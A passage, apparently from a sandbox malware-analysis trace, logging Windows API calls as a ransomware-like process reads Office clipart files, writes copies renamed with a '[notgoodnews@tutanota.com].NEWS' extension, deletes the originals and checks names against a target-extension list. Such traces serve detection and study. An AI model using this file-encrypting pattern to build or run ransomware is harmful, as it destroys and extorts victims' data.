dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0086.934] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=3988) returned 1 [0086.934] CloseHandle (hObject=0x39c) returned 1 [0086.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 0x220 [0086.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0086.934] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.934] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0086.934] GetLastError () returned 0x0 [0086.934] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xf94, lpOverlapped=0x0) returned 1 [0086.937] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xfa0, lpOverlapped=0x0) returned 1 [0086.938] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0086.938] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0086.938] SetEndOfFile (hFile=0x350) returned 1 [0086.938] CloseHandle (hObject=0x350) returned 1 [0086.939] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.939] SetEndOfFile (hFile=0x39c) returned 1 [0086.939] CloseHandle (hObject=0x39c) returned 1 [0086.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.940] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 1 [0086.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0086.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0086.940] lstrlenW (lpString=".doc") returned 4 [0086.940] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.940] lstrlenW (lpString=".docx") returned 5 [0086.940] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.940] lstrlenW (lpString=".pdf") returned 4 [0086.940] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.940] lstrlenW (lpString=".xls") returned 4 [0086.940] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.940] lstrlenW (lpString=".xlsx") returned 5 [0086.940] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.940] lstrlenW (lpString=".ppt") returned 4 [0086.940] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0086.940] lstrlenW (lpString=".zip") returned 4 [0086.940] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.940] lstrlenW (lpString=".rar") returned 4 [0086.940] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.940] lstrlenW (lpString=".bz2") returned 4 [0086.940] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.940] lstrlenW (lpString=".7z") returned 3 [0086.940] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0086.940] lstrlenW (lpString=".dbf") returned 4 [0086.940] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0086.941] lstrlenW (lpString=".1cd") returned 4 [0086.941] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0086.941] lstrlenW (lpString=".jpg") returned 4 [0086.941] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0086.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0086.941] lstrlenW (lpString=".doc") returned 4 [0086.941] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.941] lstrlenW (lpString=".docx") returned 5 [0086.941] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.941] lstrlenW (lpString=".pdf") returned 4 [0086.941] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.941] lstrlenW (lpString=".xls") returned 4 [0086.941] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.941] lstrlenW (lpString=".xlsx") returned 5 [0086.941] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.941] lstrlenW (lpString=".ppt") returned 4 [0086.941] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0086.941] lstrlenW (lpString=".zip") returned 4 [0086.941] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.941] lstrlenW (lpString=".rar") returned 4 [0086.941] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.941] lstrlenW (lpString=".bz2") returned 4 [0086.941] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.941] lstrlenW (lpString=".7z") returned 3 [0086.941] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0086.941] lstrlenW (lpString=".dbf") returned 4 [0086.941] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0086.941] lstrlenW (lpString=".1cd") returned 4 [0086.941] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0086.942] lstrlenW (lpString=".jpg") returned 4 [0086.942] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.942] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.942] lstrlenW (lpString="FD02141_.WMF") returned 12 [0086.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0086.942] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=2636) returned 1 [0086.943] CloseHandle (hObject=0x39c) returned 1 [0086.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 0x220 [0086.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0086.943] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.943] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0086.943] GetLastError () returned 0x0 [0086.943] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xa4c, lpOverlapped=0x0) returned 1 [0086.945] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xa50, lpOverlapped=0x0) returned 1 [0086.946] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0086.946] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0086.946] SetEndOfFile (hFile=0x350) returned 1 [0086.946] CloseHandle (hObject=0x350) returned 1 [0086.946] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.946] SetEndOfFile (hFile=0x39c) returned 1 [0086.947] CloseHandle (hObject=0x39c) returned 1 [0086.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.947] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 1 [0086.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0086.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0086.947] lstrlenW (lpString=".doc") returned 4 [0086.947] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.947] lstrlenW (lpString=".docx") returned 5 [0086.947] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.947] lstrlenW (lpString=".pdf") returned 4 [0086.947] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.947] lstrlenW (lpString=".xls") returned 4 [0086.947] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.947] lstrlenW (lpString=".xlsx") returned 5 [0086.947] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.947] lstrlenW (lpString=".ppt") returned 4 [0086.947] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0086.948] lstrlenW (lpString=".zip") returned 4 [0086.948] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.948] lstrlenW (lpString=".rar") returned 4 [0086.948] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.948] lstrlenW (lpString=".bz2") returned 4 [0086.948] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.948] lstrlenW (lpString=".7z") returned 3 [0086.948] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0086.948] lstrlenW (lpString=".dbf") returned 4 [0086.948] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0086.948] lstrlenW (lpString=".1cd") returned 4 [0086.948] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0086.948] lstrlenW (lpString=".jpg") returned 4 [0086.948] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0086.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0086.948] lstrlenW (lpString=".doc") returned 4 [0086.948] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.948] lstrlenW (lpString=".docx") returned 5 [0086.948] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.948] lstrlenW (lpString=".pdf") returned 4 [0086.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.948] lstrlenW (lpString=".xls") returned 4 [0086.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.948] lstrlenW (lpString=".xlsx") returned 5 [0086.948] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.948] lstrlenW (lpString=".ppt") returned 4 [0086.948] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0086.948] lstrlenW (lpString=".zip") returned 4 [0086.948] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.948] lstrlenW (lpString=".rar") returned 4 [0086.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.949] lstrlenW (lpString=".bz2") returned 4 [0086.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.949] lstrlenW (lpString=".7z") returned 3 [0086.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0086.949] lstrlenW (lpString=".dbf") returned 4 [0086.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0086.949] lstrlenW (lpString=".1cd") returned 4 [0086.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0086.949] lstrlenW (lpString=".jpg") returned 4 [0086.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.949] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.949] lstrlenW (lpString="FD02153_.WMF") returned 12 [0086.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0086.949] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=5392) returned 1 [0086.949] CloseHandle (hObject=0x39c) returned 1 [0086.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 0x220 [0086.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0086.950] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.950] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0086.950] GetLastError () returned 0x0 [0086.950] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x1510, lpOverlapped=0x0) returned 1 [0087.412] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1520, lpOverlapped=0x0) returned 1 [0087.702] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0087.702] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0087.702] SetEndOfFile (hFile=0x350) returned 1 [0087.947] CloseHandle (hObject=0x350) returned 1 [0087.974] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0087.974] SetEndOfFile (hFile=0x39c) returned 1 [0087.975] CloseHandle (hObject=0x39c) returned 1 [0087.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0087.975] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 1 [0087.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0087.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0087.975] lstrlenW (lpString=".doc") returned 4 [0087.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.975] lstrlenW (lpString=".docx") returned 5 [0087.975] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.975] lstrlenW (lpString=".pdf") returned 4 [0087.975] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.975] lstrlenW (lpString=".xls") returned 4 [0087.975] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.975] lstrlenW (lpString=".xlsx") returned 5 [0087.975] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.975] lstrlenW (lpString=".ppt") returned 4 [0087.975] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0087.975] lstrlenW (lpString=".zip") returned 4 [0087.975] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.975] lstrlenW (lpString=".rar") returned 4 [0087.976] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.976] lstrlenW (lpString=".bz2") returned 4 [0087.976] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.976] lstrlenW (lpString=".7z") returned 3 [0087.976] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0087.976] lstrlenW (lpString=".dbf") returned 4 [0087.976] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0087.976] lstrlenW (lpString=".1cd") returned 4 [0087.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0087.976] lstrlenW (lpString=".jpg") returned 4 [0087.976] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0087.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0087.976] lstrlenW (lpString=".doc") returned 4 [0087.976] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.976] lstrlenW (lpString=".docx") returned 5 [0087.976] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.976] lstrlenW (lpString=".pdf") returned 4 [0087.976] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.976] lstrlenW (lpString=".xls") returned 4 [0087.976] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.976] lstrlenW (lpString=".xlsx") returned 5 [0087.976] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.976] lstrlenW (lpString=".ppt") returned 4 [0087.976] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0087.977] lstrlenW (lpString=".zip") returned 4 [0087.977] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.977] lstrlenW (lpString=".rar") returned 4 [0087.977] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.977] lstrlenW (lpString=".bz2") returned 4 [0087.977] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.977] lstrlenW (lpString=".7z") returned 3 [0087.977] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0087.977] lstrlenW (lpString=".dbf") returned 4 [0087.977] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0087.977] lstrlenW (lpString=".1cd") returned 4 [0087.977] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0087.977] lstrlenW (lpString=".jpg") returned 4 [0087.977] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.977] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0087.977] lstrlenW (lpString="HH00601_.WMF") returned 12 [0087.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0087.978] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1468) returned 1 